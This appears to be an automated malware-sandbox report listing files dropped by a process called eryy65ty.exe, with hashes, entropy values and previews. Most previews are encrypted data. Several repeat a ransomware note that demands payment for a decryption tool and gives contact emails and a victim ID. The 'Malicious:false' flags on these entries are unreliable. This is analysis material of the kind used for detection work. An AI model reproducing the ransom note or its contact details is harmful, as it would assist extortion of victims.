                                                                                                                                        Preview:..C9.B..G..1...f.J.NSs4.'.L..(.I-x..$.....-..'.{....Q........1v..M..;.6. ....1"6..)U..7......L..d.....:....fb.c...........!..Zn...<.WHD..>.#.f%..ldQ.V_.]1.r,...H.pE..o..D>t5S[...8.f....s.h..r.H.T.!....D...J....=.....}v...v(.i06.q4.8.3.p.I5.5.X.MMX.k........54....Xw.Nyj...:.Z.8X.v).{....'.v,9....T....>a...[.....KNa>e.#.%./.t....K.2.U8..Q.r.)...g......A..Y....%.x.Maz....n......A.~2...Cgo.....&........s.r0..he.r5.A.........NpY.Q..{.{......9Sa.-`..8.@..l.&'..tCth.B.!/.o..n..r..KT.q.....r._.dU...8..h.~%...$.|.:..F.g..o....f....1.a..........5...]K&.sZ.W..\......?.....T!......G,.k....a.... +.%.....ti.fpH..E...wV..{.Y...;...f..D.n.v2../.{...l......\.yF.D\....I.t}kk.3x.D...*.o.O!...~....+>F...t1...FB...-../...<?O..k.m..I......l..c....Z....a.o...S..<.a......<.'i.-p...I?.....r.u.-"D..u..mr.vF.>.5..j..7.]...#.Rm..I"....#g...Q...$.|.^......$.I.K..@...bU.7..|...e8si.m^... ..'v`..$.P..i.c...+O9...OV:+.V....^.r?..[....(5.....:k.e]...b.,i0...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1284
                                                                                                                                        Entropy (8bit):7.848615325120423
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4KsLmZ+2LHmBK25+aE8EKS/IZrzSLQaZNI43eOSGeo6g4:4TONT2KO+alEWresaZ643BSGJq
                                                                                                                                        MD5:9D7F54619896F4B79E982C7832349875
                                                                                                                                        SHA1:B6F399D76BF634A1873B012650177BFEB938B1DA
                                                                                                                                        SHA-256:6E9A9EC85257FA6887276014A4C9432340A4DD12EC609EE1D6670C93363BAC80
                                                                                                                                        SHA-512:9F1939C4CAC3FD59355557D0B4AB4835DA509CE195D11BC1B8004D1A9E3E9C58A3FB6296439B53FD25DC1E1636BF58B3ED1071253256FD6B4D8668A6FE17D647
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..C9.B..G..1...f.J.NSs4.'.L..(.I-x..$.....-..'.{....Q........1v..M..;.6. ....1"6..)U..7......L..d.....:....fb.c...........!..Zn...<.WHD..>.#.f%..ldQ.V_.]1.r,...H.pE..o..D>t5S[...8.f....s.h..r.H.T.!....D...J....=.....}v...v(.i06.q4.8.3.p.I5.5.X.MMX.k........54....Xw.Nyj...:.Z.8X.v).{....'.v,9....T....>a...[.....KNa>e.#.%./.t....K.2.U8..Q.r.)...g......A..Y....%.x.Maz....n......A.~2...Cgo.....&........s.r0..he.r5.A.........NpY.Q..{.{......9Sa.-`..8.@..l.&'..tCth.B.!/.o..n..r..KT.q.....r._.dU...8..h.~%...$.|.:..F.g..o....f....1.a..........5...]K&.sZ.W..\......?.....T!......G,.k....a.... +.%.....ti.fpH..E...wV..{.Y...;...f..D.n.v2../.{...l......\.yF.D\....I.t}kk.3x.D...*.o.O!...~....+>F...t1...FB...-../...<?O..k.m..I......l..c....Z....a.o...S..<.a......<.'i.-p...I?.....r.u.-"D..u..mr.vF.>.5..j..7.]...#.Rm..I"....#g...Q...$.|.^......$.I.K..@...bU.7..|...e8si.m^... ..'v`..$.P..i.c...+O9...OV:+.V....^.r?..[....(5.....:k.e]...b.,i0...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2356
                                                                                                                                        Entropy (8bit):7.921165136018907
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:sjINTiZ809zCFuUbmtI+i+qTZ/Ljzdv4lm8YeG3Xlco9mmTuxuuwdXB:apUN9lqm8YJ3DIxKx
                                                                                                                                        MD5:FD36A5225381056A62E330A0E6DDA327
                                                                                                                                        SHA1:A209E64F9F94D9EDF09AAD72F8B3E03BEE7334DE
                                                                                                                                        SHA-256:B4F08961C749253A859DFDC932960B3ABE17E07780E6E33D928C6553551807F6
                                                                                                                                        SHA-512:097DEC0C399D266C4930214A3F87484746E083224882EA2A72DCF3C09FB269AA7252B67AF9C9CA94EAA72BA9CE7EECA70F9B60DCA8F9AECC0FAACC2A8662A3B3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:CQp..o.......$cb...........K^...nV..I.....+.h.\.I... .....m.=...."$............gWo..sn.G.i.......M>JCed.J-..E..[17B.....m..S.:.6...f!.8..7^N8=k6-.Za...|.z9.J.4..8;...v.f[@.Gu...[n|.<..D.o.Z.I.....QI......V..A..e\.C.D..A6....h..L...vm..I..,...H...5.w....$.M..f.`sM?.A.6.1..."...^.=...j......{C.t\.........*54G.ps.J.......L.4......y...nw.C.U......<.R..G.4......L......kla.i......4.....P....I{\].$.SX.|L...&-.6x..8.T.raY.c.jV..<.m........?.c1.kg..5.U/....h.bv,.c.1.......DJb My.X0....7.......s<@n.....wA.O.0......P.d'C....x....]..%...[..1P...)7....g.K..S.Ic.h@...*...=.B.J..!......@.........*.&9S<.....Q;..!.AL#...cd5.tx.._^)...=.Q..P3:..>.......IT...;.O...4.F.7..Vnk.#....V....$`..p/.......aZW.1....&.f<8.Z.3...LH3nzO..<-..*.g.s0U....t'/.~~.-.pZ..+ZC.5...*.....5.l_..R.cE.F.=.Q..K..w6..p.rX&.....69.....b...A..R..n.l.n6..k<Y..a._..>.../`..NElc^.....6...0t....Y..i.......uP....?..........GR....c.......^S.ST..6....Q.Uu.L8..$O....bA1...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2356
                                                                                                                                        Entropy (8bit):7.921165136018907
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:sjINTiZ809zCFuUbmtI+i+qTZ/Ljzdv4lm8YeG3Xlco9mmTuxuuwdXB:apUN9lqm8YJ3DIxKx
                                                                                                                                        MD5:FD36A5225381056A62E330A0E6DDA327
                                                                                                                                        SHA1:A209E64F9F94D9EDF09AAD72F8B3E03BEE7334DE
                                                                                                                                        SHA-256:B4F08961C749253A859DFDC932960B3ABE17E07780E6E33D928C6553551807F6
                                                                                                                                        SHA-512:097DEC0C399D266C4930214A3F87484746E083224882EA2A72DCF3C09FB269AA7252B67AF9C9CA94EAA72BA9CE7EECA70F9B60DCA8F9AECC0FAACC2A8662A3B3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:CQp..o.......$cb...........K^...nV..I.....+.h.\.I... .....m.=...."$............gWo..sn.G.i.......M>JCed.J-..E..[17B.....m..S.:.6...f!.8..7^N8=k6-.Za...|.z9.J.4..8;...v.f[@.Gu...[n|.<..D.o.Z.I.....QI......V..A..e\.C.D..A6....h..L...vm..I..,...H...5.w....$.M..f.`sM?.A.6.1..."...^.=...j......{C.t\.........*54G.ps.J.......L.4......y...nw.C.U......<.R..G.4......L......kla.i......4.....P....I{\].$.SX.|L...&-.6x..8.T.raY.c.jV..<.m........?.c1.kg..5.U/....h.bv,.c.1.......DJb My.X0....7.......s<@n.....wA.O.0......P.d'C....x....]..%...[..1P...)7....g.K..S.Ic.h@...*...=.B.J..!......@.........*.&9S<.....Q;..!.AL#...cd5.tx.._^)...=.Q..P3:..>.......IT...;.O...4.F.7..Vnk.#....V....$`..p/.......aZW.1....&.f<8.Z.3...LH3nzO..<-..*.g.s0U....t'/.~~.-.pZ..+ZC.5...*.....5.l_..R.cE.F.=.Q..K..w6..p.rX&.....69.....b...A..R..n.l.n6..k<Y..a._..>.../`..NElc^.....6...0t....Y..i.......uP....?..........GR....c.......^S.ST..6....Q.Uu.L8..$O....bA1...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2313
                                                                                                                                        Entropy (8bit):7.916433292317489
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:kkpBDXCD2FrVjUHC0lmyZjupRHT6wqscnQT/6PkrCp8qX2sZbF0YNEOZ:BDHFZUpVaH2EyXPxZbFpNEO
                                                                                                                                        MD5:27C0043932085AB51DE8BE96A93F6146
                                                                                                                                        SHA1:A8B3F5CD1E5534DA93F77ADBBDAC7E5E71B05C81
                                                                                                                                        SHA-256:3D8F7F8C2B63BBD4AA8383BA606532E55797B9CCFDA98B45A3EC0E133B32A5DC
                                                                                                                                        SHA-512:422C0FC9F0924BB45E3A7AAC653BBA32665459BBD71B0CDC7B539023562B733729CB5579348972D1F34554239B1484C84C397255F4E3CFDAB25DD31C301513B9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:[..O.AI....oC..;:.....".8lJ)eO.Sg.h'.q.@Mc...`L.._.q...0S.b.F...0b^....^AUv..O...E..n.Eg.,....2...B......"-[1*)Y.}..dX#....i,..(...(,.A...1..W,e_...1.h.u@.F./..^v.C.W.....|...1@(....A.=AOn.....T..z.'.X..4G....f..=...d%.Zg|R.V.Ixs.-.....:.`.a>n.j...}..h)i...aI..6c.^8n.d.{3A...AT.K.zV...6.}-n.........."..BN..xX.2V.&.J....t....P...GW....)C...I....*.+.f$..W.k.....y......6.Y.j*..,....m..(...?..\......../..TP.(<N#t....!1.}.....A.......`....r."8.E.{..u.@..v(.^...%.<.........\...@..........1....|.....OY..o....~.E.A..1.OQ.}Ip.#...r..v.....<....o.0..W.X...Oa]a..#..^. -(.....c./2j..y..4.[]>.T. ....96I....P62yge....`.....<.."...W...Xp..Y..L....9..%...V....)C..^./s<..2K.~zE^p.. .(...@...XJ.*P.....J.<.W....$....W...H7..C..h.P....I=P=."\...!.)O...l..v.......c..*.`.....-.....^.F......k.(.'..(5....y....j.v.e.....i~nY........f..3..%...."E.nQ.+X.X.Va.T..!m.n..8+...kx........q..f.a..e.3.M.8.MZ....I.m:...wg.G.B.))L.0....la.!......Nh,f^...wW...h..W....i......U
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2313
                                                                                                                                        Entropy (8bit):7.916433292317489
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:kkpBDXCD2FrVjUHC0lmyZjupRHT6wqscnQT/6PkrCp8qX2sZbF0YNEOZ:BDHFZUpVaH2EyXPxZbFpNEO
                                                                                                                                        MD5:27C0043932085AB51DE8BE96A93F6146
                                                                                                                                        SHA1:A8B3F5CD1E5534DA93F77ADBBDAC7E5E71B05C81
                                                                                                                                        SHA-256:3D8F7F8C2B63BBD4AA8383BA606532E55797B9CCFDA98B45A3EC0E133B32A5DC
                                                                                                                                        SHA-512:422C0FC9F0924BB45E3A7AAC653BBA32665459BBD71B0CDC7B539023562B733729CB5579348972D1F34554239B1484C84C397255F4E3CFDAB25DD31C301513B9
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:[..O.AI....oC..;:.....".8lJ)eO.Sg.h'.q.@Mc...`L.._.q...0S.b.F...0b^....^AUv..O...E..n.Eg.,....2...B......"-[1*)Y.}..dX#....i,..(...(,.A...1..W,e_...1.h.u@.F./..^v.C.W.....|...1@(....A.=AOn.....T..z.'.X..4G....f..=...d%.Zg|R.V.Ixs.-.....:.`.a>n.j...}..h)i...aI..6c.^8n.d.{3A...AT.K.zV...6.}-n.........."..BN..xX.2V.&.J....t....P...GW....)C...I....*.+.f$..W.k.....y......6.Y.j*..,....m..(...?..\......../..TP.(<N#t....!1.}.....A.......`....r."8.E.{..u.@..v(.^...%.<.........\...@..........1....|.....OY..o....~.E.A..1.OQ.}Ip.#...r..v.....<....o.0..W.X...Oa]a..#..^. -(.....c./2j..y..4.[]>.T. ....96I....P62yge....`.....<.."...W...Xp..Y..L....9..%...V....)C..^./s<..2K.~zE^p.. .(...@...XJ.*P.....J.<.W....$....W...H7..C..h.P....I=P=."\...!.)O...l..v.......c..*.`.....-.....^.F......k.(.'..(5....y....j.v.e.....i~nY........f..3..%...."E.nQ.+X.X.Va.T..!m.n..8+...kx........q..f.a..e.3.M.8.MZ....I.m:...wg.G.B.))L.0....la.!......Nh,f^...wW...h..W....i......U
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2330
                                                                                                                                        Entropy (8bit):7.913957983798602
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:SabNxhpcFA5m8Uwk0tokGqqKFsGcastlWg4CC2pWGclKcHfn:rNxLf7MkGqLFbloWgq2polh
                                                                                                                                        MD5:BFA7C30CBB17860AD11D8C6F3492326D
                                                                                                                                        SHA1:D3D879100429AD1BE86FF8E2CAB709BC0D8883BB
                                                                                                                                        SHA-256:A4318FFAC65A2BA8F991D418F74999E180F905D36A615A3C284A5654D584F955
                                                                                                                                        SHA-512:FABCA803F10A178F0FA7DB448D8778A24CACA29DEC640A1FAE616FFCA39B4D29AB559C3D7CD5A9418732872D794898A94BDCDEAF8FA42F800D9B82715FC4085F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:k.n.nf....j..z/..p&(.nf.;.al:.4H.d..[._....a....W...e1.1X...............*........O.U7..jT0*f.6g.c..(...V.&B.r..8m.b.......R..O.O$..N2..N..KeV..Z..9.ZX...r.p..@..w...4<.<...q.......2/......R............_.8DRl#27.....#..b..k.lv........!.....e.j.6...N]..PM7.Qb..F87VuKc~.K..J.>1.a.......N/q...X2.+..&.se'........w.z...O...*\..Lho.Q.E..b..x.Q"..-W.k..%..jDs.]...}........Y[.d...)1>D$..96.@|..1..x(.GBM.~....5H*....b8....ax.tj.l....M..5.p...:6"f....B......i....V..t.....`.......X.X.h.... ..[..........5...:W.\+=.}c.:..]^..;.3=.*.:.C. .F....p..}.t.....~4._.$^~b.~.....Ziuc....L...+.k..&..2H.2....Yz....m()....B^.l.).e..B.L2.}...l..nd.....D."...s....JA.F....~-...EC..%.......A.....G...............&>9.zb.i......l..zyj...[...s.}...e3Dzif....F.r$.uS.y...^".^.S.@K.........R...8..u..R...\Xf..g.P.Ed...Z.}.7...8f"......f2..>......@..Z..TG.._..=..o.U.(..En.....DG....a3$....:."I.;.2De.i.K..6...d.s.m.8".I-JT...s0.R.J..{?y....N...+..!...M.'$.X.....,BPV
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2330
                                                                                                                                        Entropy (8bit):7.913957983798602
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:SabNxhpcFA5m8Uwk0tokGqqKFsGcastlWg4CC2pWGclKcHfn:rNxLf7MkGqLFbloWgq2polh
                                                                                                                                        MD5:BFA7C30CBB17860AD11D8C6F3492326D
                                                                                                                                        SHA1:D3D879100429AD1BE86FF8E2CAB709BC0D8883BB
                                                                                                                                        SHA-256:A4318FFAC65A2BA8F991D418F74999E180F905D36A615A3C284A5654D584F955
                                                                                                                                        SHA-512:FABCA803F10A178F0FA7DB448D8778A24CACA29DEC640A1FAE616FFCA39B4D29AB559C3D7CD5A9418732872D794898A94BDCDEAF8FA42F800D9B82715FC4085F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:k.n.nf....j..z/..p&(.nf.;.al:.4H.d..[._....a....W...e1.1X...............*........O.U7..jT0*f.6g.c..(...V.&B.r..8m.b.......R..O.O$..N2..N..KeV..Z..9.ZX...r.p..@..w...4<.<...q.......2/......R............_.8DRl#27.....#..b..k.lv........!.....e.j.6...N]..PM7.Qb..F87VuKc~.K..J.>1.a.......N/q...X2.+..&.se'........w.z...O...*\..Lho.Q.E..b..x.Q"..-W.k..%..jDs.]...}........Y[.d...)1>D$..96.@|..1..x(.GBM.~....5H*....b8....ax.tj.l....M..5.p...:6"f....B......i....V..t.....`.......X.X.h.... ..[..........5...:W.\+=.}c.:..]^..;.3=.*.:.C. .F....p..}.t.....~4._.$^~b.~.....Ziuc....L...+.k..&..2H.2....Yz....m()....B^.l.).e..B.L2.}...l..nd.....D."...s....JA.F....~-...EC..%.......A.....G...............&>9.zb.i......l..zyj...[...s.}...e3Dzif....F.r$.uS.y...^".^.S.@K.........R...8..u..R...\Xf..g.P.Ed...Z.}.7...8f"......f2..>......@..Z..TG.._..=..o.U.(..En.....DG....a3$....:."I.;.2De.i.K..6...d.s.m.8".I-JT...s0.R.J..{?y....N...+..!...M.'$.X.....,BPV
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1290
                                                                                                                                        Entropy (8bit):7.818119496744784
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:C/ohov0absOe+Qrq3BLzPtZi2XgdnPMZWVfBPdeC4/omcHQk3e9V6u9:3hocwX6inXSEWvYp/omcH334VH9
                                                                                                                                        MD5:7614B97F21529C2219F094ADCBCC4D12
                                                                                                                                        SHA1:73C99BA79AD5B5F7AAA5AE667C9781CE5AC5F453
                                                                                                                                        SHA-256:19EC70EB6C5D7E62036E5CFFB84975C634809C9D4AE88B03AA9437EC6C126B60
                                                                                                                                        SHA-512:14E7DC00A02795A98FD9F84AB052B5DD29102BCC52A9FE6DE85A63C95BDCA4822616D09D3445306EC69BAD81DFFDEAFB01CF100B4720466390D63A8D178862B4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.l.fz#.*j....-l.l.q....e......."T.........]....u..h.N.S.GXq.4e.Z:.....BY.=.o..}.Vu..R>L;.d.jv].1..@7f.]...V%..".\..c.R..Q..V..?..v.4t.g.}.d.....C+.p.....ENq..~.ym4......\...El...M)(.~.;.;SU.0./l+..s.&.~.\...d.........=&eQW..g"*BB.{f....pxL.Nt....;)..2..w.(.I....4.q.....R...]..a ...=.H.W....z..U.kb|.......:..f[.Gr-S-...L.\{.#..;`.R...O.s..".@....w$H..'0.0...'......w".uC...1a......o#..0DR.SZ.9.[!?....;.h.sj}t.'y..-....@..,.0..q7....5!=^s....O....;..6.|\R....x.<'..G.WA.......GQwPW.G.@".d.....b.\:...M..&I.)OM)...7..\/....-.DA.Ih.f..-....M..e....^[.vy...i.@.:2.......oA..=#.7...k.z.0GGV=.7^...}....gQ.NL.-..G..;D.].p.....,AT..}.............e".U.l..5.....U..` ....[yk....{......e.a, .v....Z.g0mu.gkJ.jJ.B.S<.?.#`dM4.,Ukm}PJ...8b..N&Ru.#.......wv.2.A5eU3#[M.;1)-{)..{~.=y'`..'....P0..'.$,.W..k.._.T......'..I;.:F...n......I....3......su..z...;.@X.4^......~...1......I.rAf..q=..R.,.x...{... ..7v'..`...5..O,.>kN..%..[~..u.\]........TM=b9.....g.C[.....X......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1290
                                                                                                                                        Entropy (8bit):7.818119496744784
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:C/ohov0absOe+Qrq3BLzPtZi2XgdnPMZWVfBPdeC4/omcHQk3e9V6u9:3hocwX6inXSEWvYp/omcH334VH9
                                                                                                                                        MD5:7614B97F21529C2219F094ADCBCC4D12
                                                                                                                                        SHA1:73C99BA79AD5B5F7AAA5AE667C9781CE5AC5F453
                                                                                                                                        SHA-256:19EC70EB6C5D7E62036E5CFFB84975C634809C9D4AE88B03AA9437EC6C126B60
                                                                                                                                        SHA-512:14E7DC00A02795A98FD9F84AB052B5DD29102BCC52A9FE6DE85A63C95BDCA4822616D09D3445306EC69BAD81DFFDEAFB01CF100B4720466390D63A8D178862B4
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.l.fz#.*j....-l.l.q....e......."T.........]....u..h.N.S.GXq.4e.Z:.....BY.=.o..}.Vu..R>L;.d.jv].1..@7f.]...V%..".\..c.R..Q..V..?..v.4t.g.}.d.....C+.p.....ENq..~.ym4......\...El...M)(.~.;.;SU.0./l+..s.&.~.\...d.........=&eQW..g"*BB.{f....pxL.Nt....;)..2..w.(.I....4.q.....R...]..a ...=.H.W....z..U.kb|.......:..f[.Gr-S-...L.\{.#..;`.R...O.s..".@....w$H..'0.0...'......w".uC...1a......o#..0DR.SZ.9.[!?....;.h.sj}t.'y..-....@..,.0..q7....5!=^s....O....;..6.|\R....x.<'..G.WA.......GQwPW.G.@".d.....b.\:...M..&I.)OM)...7..\/....-.DA.Ih.f..-....M..e....^[.vy...i.@.:2.......oA..=#.7...k.z.0GGV=.7^...}....gQ.NL.-..G..;D.].p.....,AT..}.............e".U.l..5.....U..` ....[yk....{......e.a, .v....Z.g0mu.gkJ.jJ.B.S<.?.#`dM4.,Ukm}PJ...8b..N&Ru.#.......wv.2.A5eU3#[M.;1)-{)..{~.=y'`..'....P0..'.$,.W..k.._.T......'..I;.:F...n......I....3......su..z...;.@X.4^......~...1......I.rAf..q=..R.,.x...{... ..7v'..`...5..O,.>kN..%..[~..u.\]........TM=b9.....g.C[.....X......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2341
                                                                                                                                        Entropy (8bit):7.9188441858613405
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:mFZ8wdhopKUSz82D2N0GYT6UfzSo5d+1fbqM83xjZE7Dx5tSA3bYUk:u8WhAKUS/iGGYVzSkElb383xjC3MYYUk
                                                                                                                                        MD5:C4E0DAC8169E765828EF984CFDDAC2E5
                                                                                                                                        SHA1:0C7CD04BD9364F83A30B044F2C863BFB9326FFAE
                                                                                                                                        SHA-256:E1E730C8A8ADAA230336AA1FD7F4058E037FB549FED73109F0704A3C01C61184
                                                                                                                                        SHA-512:B8E527F6F6C8E53CEA9CE6F0ED25E3EBAF533ED86B7D6715BEEEDB992F9F7BA481A5F7B6F7034F7F55B3FD8605956D0EF941C590EAC0FDD8DF3248FB0103DDF2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...!......~....1........0...T...."...$L.4.7.O..w..?h.j...:..1....t...P.Z`..c.N.....^...~K..e..(rd.%.$O..E...l.w....%>W.JM...._....z......0..V.K*l. ....i.....?.x....S..........?Z}....f.3....n.!fR%..r.5..4....D.....|.z...pLZ.?..D...h...HQ..=...|.J.dj...shd4..Ld...,....Y.....F.yx...I5......s_'P?0.H..N...Pk.+U7...i.gZ.....n.e...%.`g....N#,.RY.H..k...!....BP...u....L."P..~S..N.%....m.yp.[a.......QKR..;.6HF..p.O..8@\'..#)Y.gD...H..c..<....8...&.|.8..o.V...........yL...w....V.KU......._W...Q,....J...g..2ZGr...L....Gj1...*^......."M.......>..(`0~...>VX.NZ..bV_....Z.0...~.\j...%.@...KY........X....0.#......~........O@....i.\a..,......>.HF^..F <.....$......LA..G..5.Z$..C...q.....a..l..3" K.K..f....&jb...IF${.......6..........R.}.x..]............d...I......g.2..Of.V....w....c/.O..\]6...R..Ill.5.oi..d..s.K9...$.%..V..,..h..sSxz..?....*.cf.......9..oG..s(6.....2.OV..t..n.o.1.......!.S;."..N...f.X.|..H$..$....iVMx[.p....mjM.)x.....T.......r.g."......[.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):2341
                                                                                                                                        Entropy (8bit):7.9188441858613405
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:mFZ8wdhopKUSz82D2N0GYT6UfzSo5d+1fbqM83xjZE7Dx5tSA3bYUk:u8WhAKUS/iGGYVzSkElb383xjC3MYYUk
                                                                                                                                        MD5:C4E0DAC8169E765828EF984CFDDAC2E5
                                                                                                                                        SHA1:0C7CD04BD9364F83A30B044F2C863BFB9326FFAE
                                                                                                                                        SHA-256:E1E730C8A8ADAA230336AA1FD7F4058E037FB549FED73109F0704A3C01C61184
                                                                                                                                        SHA-512:B8E527F6F6C8E53CEA9CE6F0ED25E3EBAF533ED86B7D6715BEEEDB992F9F7BA481A5F7B6F7034F7F55B3FD8605956D0EF941C590EAC0FDD8DF3248FB0103DDF2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...!......~....1........0...T...."...$L.4.7.O..w..?h.j...:..1....t...P.Z`..c.N.....^...~K..e..(rd.%.$O..E...l.w....%>W.JM...._....z......0..V.K*l. ....i.....?.x....S..........?Z}....f.3....n.!fR%..r.5..4....D.....|.z...pLZ.?..D...h...HQ..=...|.J.dj...shd4..Ld...,....Y.....F.yx...I5......s_'P?0.H..N...Pk.+U7...i.gZ.....n.e...%.`g....N#,.RY.H..k...!....BP...u....L."P..~S..N.%....m.yp.[a.......QKR..;.6HF..p.O..8@\'..#)Y.gD...H..c..<....8...&.|.8..o.V...........yL...w....V.KU......._W...Q,....J...g..2ZGr...L....Gj1...*^......."M.......>..(`0~...>VX.NZ..bV_....Z.0...~.\j...%.@...KY........X....0.#......~........O@....i.\a..,......>.HF^..F <.....$......LA..G..5.Z$..C...q.....a..l..3" K.K..f....&jb...IF${.......6..........R.}.x..]............d...I......g.2..Of.V....w....c/.O..\]6...R..Ill.5.oi..d..s.K9...$.%..V..,..h..sSxz..?....*.cf.......9..oG..s(6.....2.OV..t..n.o.1.......!.S;."..N...f.X.|..H$..$....iVMx[.p....mjM.)x.....T.......r.g."......[.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
